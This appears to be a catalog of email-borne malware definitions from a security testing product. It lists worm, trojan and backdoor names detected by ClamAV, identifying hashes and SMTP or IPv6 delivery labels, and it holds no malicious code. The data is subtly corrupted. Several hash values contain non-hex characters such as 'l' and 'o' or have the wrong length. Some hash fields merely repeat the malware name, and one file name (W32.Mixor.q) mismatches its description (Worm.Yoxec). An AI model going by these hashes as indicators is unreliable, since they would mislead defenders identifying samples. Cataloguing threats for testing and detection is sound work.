Executive Description:	Email Virus Worm.Zokrim.a
Detailed Description:	This is the email virus Worm.Zokrim.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8d77fad471e9580d6f5ac5339c379c4a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Exploit.IFrame.Gen.4ac7ab17_IPv6.xml
Executive Description:	Email Virus Exploit.IFrame.Gen (IPv6 Version)
Detailed Description:	This is the email virus Exploit.IFrame.Gen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4ac7ab17eed48c05dd23ba55f009150e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Siney.B.39c69154_IPv6.xml
Executive Description:	Email Virus Worm.Siney.B (IPv6 Version)
Detailed Description:	This is the email virus Worm.Siney.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 39c6915439c84849f3439bbf70cade4. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Loding.b.a4dc18d1_IPv6.xml
Executive Description:	Email Virus Worm.Loding.b (IPv6 Version)

Detailed Description:	This is the email virus Worm.Loding.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a4dc18d14a4e5b22405ace1cd716368. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Luna.C.d4784029.xml
Executive Description:	Email Virus Worm.Luna.C
Detailed Description:	This is the email virus Worm.Luna.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d478402929eb228478414de8d78e5cd3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.Nobelman.A.967d561b_IPv6.xml
Executive Description:	Email Virus VBS.Nobelman.A (IPv6 Version)
Detailed Description:	This is the email virus VBS.Nobelman.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 967d561b178564aae1604658987ac213. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Dumaru.p.p.7a645ce9.xml
Executive Description:	Email Virus Email-Worm.Win32.Dumaru.p.p
Detailed Description:	This is the email virus Email-Worm.Win32.Dumaru.p.p as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Dumaru.p.p. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Navidad.B.be461c9e_IPv6.xml
Executive Description:	Email Virus W32.Navidad.B (IPv6 Version)
Detailed Description:	This is the email virus W32.Navidad.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: be461c9e4474e5931e0ff74931397f32. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Backdoor.Rustock.B.111d19b6.xml
Executive Description:	Email Virus Backdoor.Rustock.B
Detailed Description:	This is the email virus Backdoor.Rustock.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 111d19b60ae921ac90c2b73c2afel8e0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Fintas.c.c.6f3c6e4f.xml
Executive Description:	Email Virus Email-Worm.Win32.Fintas.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Fintas.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Fintas.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Bat.Camile.b7de570b.xml
Executive Description:	Email Virus Bat.Camile
Detailed Description:	This is the email virus Bat.Camile as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b7de570bb0191d8278caf8b0770b0849. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.generic.90ea68c2_IPv6.xml
Executive Description:	Email Virus Worm.generic (IPv6 Version)
Detailed Description:	This is the email virus Worm.generic as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 90ea68c2e28c3e977fe504602c7e53b6. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Hotlix.eeb26ae0.xml
Executive Description:	Email Virus Worm.Hotlix
Detailed Description:	This is the email virus Worm.Hotlix as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: eeb26ae0543621d8fb6565fblc2ae02f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Clown.a.702524dd.xml
Executive Description:	Email Virus Worm.Clown.a
Detailed Description:	This is the email virus Worm.Clown.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 702524dde7aaed1f063414f7aa020ad7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.MyPics.c.8239dab4_IPv6.xml

Executive Description:	Email Virus Worm.MyPics.c (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8239dab452e3c9e4404e6a5c056ab49a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	BAT.BWG.J.236d0906_IPv6.xml
Executive Description:	Email Virus BAT.BWG.J (IPv6 Version)
Detailed Description:	This is the email virus BAT.BWG.J as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 236d09062b36b2ee2ac6fe3edfcd42da. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.MyPics.a.36d7db58_IPv6.xml
Executive Description:	Email Virus Worm.MyPics.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.MyPics.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 36d7db58c1a839cd7929100aaf489ae7. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Xanax.f.f.c444552e_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Xanax.f.f (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Xanax.f.f as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Xanax.f.f. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Rayman.blb65950.xml
Executive Description:	Email Virus Worm.Rayman
Detailed Description:	This is the email virus Worm.Rayman as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: blb659508a4288ael278adbaea88dbd3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.82e8971d_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 82e8971dlf99e97cd2c647edb4e3656c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.a2769d93.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a2769d93fb255b3ae63b79dd6bffe0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-1.58f05e95.xml
Executive Description:	Email Virus Worm.Bagle.Gen-1
Detailed Description:	This is the email virus Worm.Bagle.Gen-1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 58f05e9519b3bd825fd6af936f4b2aed. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Dumaru.A.66ca6fb3_IPv6.xml
Executive Description:	Email Virus Worm.Dumaru.A (IPv6 Version)
Detailed Description:	This is the email virus Worm.Dumaru.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 66ca6fb3ad95dfe0e637d7d8da07fa20. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lovgate.O.2.0a65e532.xml
Executive Description:	Email Virus Worm.Lovgate.O.2
Detailed Description:	This is the email virus Worm.Lovgate.O.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0a65e53245bf47984a0bebacce80e8a6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W95.Hybris.PI.003.2fd23ba7_IPv6.xml
Executive Description:	Email Virus W95.Hybris.PI.003 (IPv6 Version)
Detailed Description:	This is the email virus W95.Hybris.PI.003 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2fd23ba777b1fad62b6eaab93772214a. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	VBS.SSIWG.948173af_IPv6.xml
Executive Description:	Email Virus VBS.SSIWG (IPv6 Version)
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 948173afec9a719966160ec12de05bd3. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Zeam.b90df190_IPv6.xml
Executive Description:	Email Virus Worm.Zeam (IPv6 Version)
Detailed Description:	This is the email virus Worm.Zeam as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b90df190ebbcbb96edee146d1fb977. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Trillissa.D.17c39533.xml
Executive Description:	Email Virus Worm.Trillissa.D
Detailed Description:	This is the email virus Worm.Trillissa.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 17c395331b882460b5c7f08d81c7b0e4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Zircon.e.e.30c5e0b4_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Zircon.e.e (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Zircon.e.e as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Zircon.e.e. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Bat.Bomgen.6d9ae551.xml
Executive Description:	Email Virus Bat.Bomgen
Detailed Description:	This is the email virus Bat.Bomgen as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6d9ae55160863a46cdb5c6d57f186fd7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcaul.v.922f647d_IPv6.xml
Executive Description:	Email Virus Worm.Alcaul.v (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcaul.v as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 922f647d186d67a4c2fe754b35066fb2. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Lee.K2.d3325123.xml
Executive Description:	Email Virus Worm.Lee.K2
Detailed Description:	This is the email virus Worm.Lee.K2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d3325123583523850e5c5638189200bf. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sober.C1.b6af0985.xml
Executive Description:	Email Virus Worm.Sober.C1
Detailed Description:	This is the email virus Worm.Sober.C1 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: b6af0985e315575693d85faadbeedcb4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Backdoor.Rustock.B.28a56f3a.xml
Executive Description:	Email Virus Backdoor.Rustock.B
Detailed Description:	This is the email virus Backdoor.Rustock.B as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 28a56f3a53ca91e85185bb28541b43b7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Whitehome.0e5b4f5c.xml
Executive Description:	Email Virus Worm.Whitehome
Detailed Description:	This is the email virus Worm.Whitehome as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 0e5b4f5c8474dcd48049fa33b775e3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Along.3689e77a_IPv6.xml
Executive Description:	Email Virus Worm.Along (IPv6 Version)
Detailed Description:	This is the email virus Worm.Along as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3689e77a677f01d15dd352143ael376b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email

Threat File Name:	Worm.VBS.Ymale.4f4acb65.xml
Executive Description:	Email Virus Worm.VBS.Ymale
Detailed Description:	This is the email virus Worm.VBS.Ymale as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 4f4acb65efd63e4855a307993a7bda57. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sonic.27.260dfd03.xml
Executive Description:	Email Virus Worm.Sonic.27
Detailed Description:	This is the email virus Worm.Sonic.27 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 260dfd03e00784e9e83b59fb3d3ff15e. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Mari.c.c.be0d3918_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Mari.c.c (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Mari.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Mari.c.c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SSIWG.2b4261bc.xml
Executive Description:	Email Virus VBS.SSIWG
Detailed Description:	This is the email virus VBS.SSIWG as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2b4261bcdff2eb222lec9320f3dfoec3. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	W32.Mixor.q.4adf7a37.xml
Executive Description:	Email Virus Worm.Yoxec
Detailed Description:	This is the email virus Worm.Yoxec as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 171f0d0206fa49db9ed3c700356f7853. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Lovgate.AH.e62f2456.xml
Executive Description:	Email Virus Worm.Lovgate.AH
Detailed Description:	This is the email virus Worm.Lovgate.AH as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e62f24566081231484ff3791eb59bdf6. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.VBS.Lowjo.C.ff8153d5_IPv6.xml
Executive Description:	Email Virus Trojan.VBS.Lowjo.C (IPv6 Version)
Detailed Description:	This is the email virus Trojan.VBS.Lowjo.C as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ff8153d5968093a6da78c370ac57a8fe. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Zimac.zim.ca0e8fde_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Zimac.zim (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Zimac.zim as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Zimac.zim. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Sabia.97dcff7b_IPv6.xml
Executive Description:	Email Virus Worm.Sabia (IPv6 Version)
Detailed Description:	This is the email virus Worm.Sabia as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 97dcff7b176835b15427b15a73c6448c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.SST-A.3.03842f6c_IPv6.xml
Executive Description:	Email Virus VBS.SST-A.3 (IPv6 Version)
Detailed Description:	This is the email virus VBS.SST-A.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 03842f6c7eba04b06bcf54a9bc54ec9c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Youdgos.a.8ac2c92e.xml
Executive Description:	Email Virus Worm.Youdgos.a
Detailed Description:	This is the email virus Worm.Youdgos.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8ac2c92e158d1fa25a67ad88239abb0c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP

Threat Package:	Email
Threat File Name:	Worm.Repah.a.d19bbffc_IPv6.xml
Executive Description:	Email Virus Worm.Repah.a (IPv6 Version)
Detailed Description:	This is the email virus Worm.Repah.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d19bbffc3706ea903d94282cf72fcc67. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Heather.3925747a_IPv6.xml
Executive Description:	Email Virus Worm.Heather (IPv6 Version)
Detailed Description:	This is the email virus Worm.Heather as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 3925747aac20edc1c442cc8fd2720654. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Injust.2f9f8d89_IPv6.xml
Executive Description:	Email Virus Worm.Injust (IPv6 Version)
Detailed Description:	This is the email virus Worm.Injust as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 2f9f8d89613dd052475bd9aec8bb186b. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Funny.8a0f69cb.xml
Executive Description:	Email Virus Worm.Funny
Detailed Description:	This is the email virus Worm.Funny as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8a0f69cb1c54563c12d381b6ec21820c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Alcop.Gen.3.bled76c6.xml
Executive Description:	Email Virus Worm.Alcop.Gen.3
Detailed Description:	This is the email virus Worm.Alcop.Gen.3 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: bled76c639429a8645419d29fae6d3c4. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Reg.6bad8d09_IPv6.xml
Executive Description:	Email Virus Worm.Reg (IPv6 Version)
Detailed Description:	This is the email virus Worm.Reg as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6bad8d097f96a98b45acd13edcf84330. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Enviar.7e2f37ef_IPv6.xml
Executive Description:	Email Virus Worm.Enviar (IPv6 Version)
Detailed Description:	This is the email virus Worm.Enviar as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7e2f37ef4c3ac91b50c215241dedb169. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.e420cc7e.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e420cc7e10ec15d50b2045644ff70337. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Banof.ban.00cf080a_IPv6.xml
Executive Description:	Email Virus Email-Worm.Win32.Banof.ban (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.Win32.Banof.ban as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Banof.ban. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Crist.A.68e77e71.xml
Executive Description:	Email Virus Worm.Crist.A
Detailed Description:	This is the email virus Worm.Crist.A as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 68e77e719d29b891e6222953fb6a0f0. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.LoveLetter.D.9eb1cfeb.xml
Executive Description:	Email Virus VBS.LoveLetter.D
Detailed Description:	This is the email virus VBS.LoveLetter.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 9eb1cfebdf3bfec30fbd51142edb1612. This attack is delivered via SMTP to a email server.

Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	VBS.PicaWorm.M.d93a6fa8_IPv6.xml
Executive Description:	Email Virus VBS.PicaWorm.M (IPv6 Version)
Detailed Description:	This is the email virus VBS.PicaWorm.M as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d93a6fa876a50af2b2d43021ec6533c8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Alcobul.b.7336765d_IPv6.xml
Executive Description:	Email Virus Worm.Alcobul.b (IPv6 Version)
Detailed Description:	This is the email virus Worm.Alcobul.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 7336765dbbd99cd7832b33ee406e997c. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Trojan.Downloader.Small-165.60cacd41_IPv6.xml
Executive Description:	Email Virus Trojan.Downloader.Small-165 (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Downloader.Small-165 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 60cacd41cab8eef0609c1elf8715636d. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Newpic.c.c.22d01826.xml
Executive Description:	Email Virus Email-Worm.Win32.Newpic.c.c
Detailed Description:	This is the email virus Email-Worm.Win32.Newpic.c.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Newpic.c.c. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Happy99.SKA.02dd0eaa_IPv6.xml
Executive Description:	Email Virus Trojan.Happy99.SKA (IPv6 Version)
Detailed Description:	This is the email virus Trojan.Happy99.SKA as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 02dd0eaa9649a11e55fa5467fa4b8ef8. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Skudex.8102e9ee.xml
Executive Description:	Email Virus Worm.Skudex
Detailed Description:	This is the email virus Worm.Skudex as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 8102e9ee3fa5038d78e615fcfaf31e8b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Corad.6e2fb08c.xml
Executive Description:	Email Virus Worm.Corad
Detailed Description:	This is the email virus Worm.Corad as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 6e2fb08ccfc60716348502140a02867f. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.Gen-dll.e65d7ab6.xml
Executive Description:	Email Virus Worm.Bagle.Gen-dll
Detailed Description:	This is the email virus Worm.Bagle.Gen-dll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e65d7ab639a2361493d388e36d1e663a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Janu.662a8c1f_IPv6.xml
Executive Description:	Email Virus Worm.Janu (IPv6 Version)
Detailed Description:	This is the email virus Worm.Janu as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 662a8c1ffdbb09ed77bd481c4f571bb. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Yoyks.b.b.ddfee83b.xml
Executive Description:	Email Virus Email-Worm.Win32.Yoyks.b.b
Detailed Description:	This is the email virus Email-Worm.Win32.Yoyks.b.b as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Yoyks.b.b. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.VBS.Fundll.218fe324_IPv6.xml
Executive Description:	Email Virus Worm.VBS.Fundll (IPv6 Version)

Detailed Description:	This is the email virus Worm.VBS.Fundll as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 218fe3248d7fe56749c00af8b4b7ea97. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.KakWorm.D.367615d2.xml
Executive Description:	Email Virus Worm.KakWorm.D
Detailed Description:	This is the email virus Worm.KakWorm.D as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 367615d20f130b343a49344367b5e8b7. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Maldal.c.86e97dd2.xml
Executive Description:	Email Virus Worm.Maldal.c
Detailed Description:	This is the email virus Worm.Maldal.c as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 86e97dd2a19e369c5f601a8952762637. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Bagle.AG.2.333fd91e_IPv6.xml
Executive Description:	Email Virus Worm.Bagle.AG.2 (IPv6 Version)
Detailed Description:	This is the email virus Worm.Bagle.AG.2 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: 333fd91ed4597e4435ef7902dc846422. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.LoveLetter.BI.aef7e1c1.xml
Executive Description:	Email Virus Worm.LoveLetter.BI
Detailed Description:	This is the email virus Worm.LoveLetter.BI as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: aef7e1c107b9b6a2be956130907adc53. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Trojan.Newapt.IWorm.a274ae97.xml
Executive Description:	Email Virus Trojan.Newapt.IWorm
Detailed Description:	This is the email virus Trojan.Newapt.IWorm as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: a274ae978b9b9ce9efa04123b69737285. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Sonic.55.ca569c37.xml
Executive Description:	Email Virus Worm.Sonic.55
Detailed Description:	This is the email virus Worm.Sonic.55 as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: ca569c3756b93860df821d8a81930124. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.VBS.Kivi.kiv.b84e6f52_IPv6.xml
Executive Description:	Email Virus Email-Worm.VBS.Kivi.kiv (IPv6 Version)
Detailed Description:	This is the email virus Email-Worm.VBS.Kivi.kiv as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.VBS.Kivi.kiv. This attack is delivered via SMTP to a email server. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Email
Threat File Name:	Worm.Bagle.AC.d7df9ba6.xml
Executive Description:	Email Virus Worm.Bagle.AC
Detailed Description:	This is the email virus Worm.Bagle.AC as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: d7df9ba669116b1ea8fb5c600f048c94. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Email-Worm.Win32.Desos.a.a.e84ab293.xml
Executive Description:	Email Virus Email-Worm.Win32.Desos.a.a
Detailed Description:	This is the email virus Email-Worm.Win32.Desos.a.a as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: Email-Worm.Win32.Desos.a.a. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.SomeFool.AD.e355f889.xml
Executive Description:	Email Virus Worm.SomeFool.AD
Detailed Description:	This is the email virus Worm.SomeFool.AD as detected by ClamAV. This email caught by imperfect networks was applied the following hash value for identification: e355f8895da5c1de6d0251ad57b9dc70. This attack is delivered via SMTP to a email server.
Protocol Type:	SMTP
Threat Package:	Email
Threat File Name:	Worm.Tossed.8b789e63_IPv6.xml

Executive Description:	Email Virus Worm.Tossed (IPv6 Version)
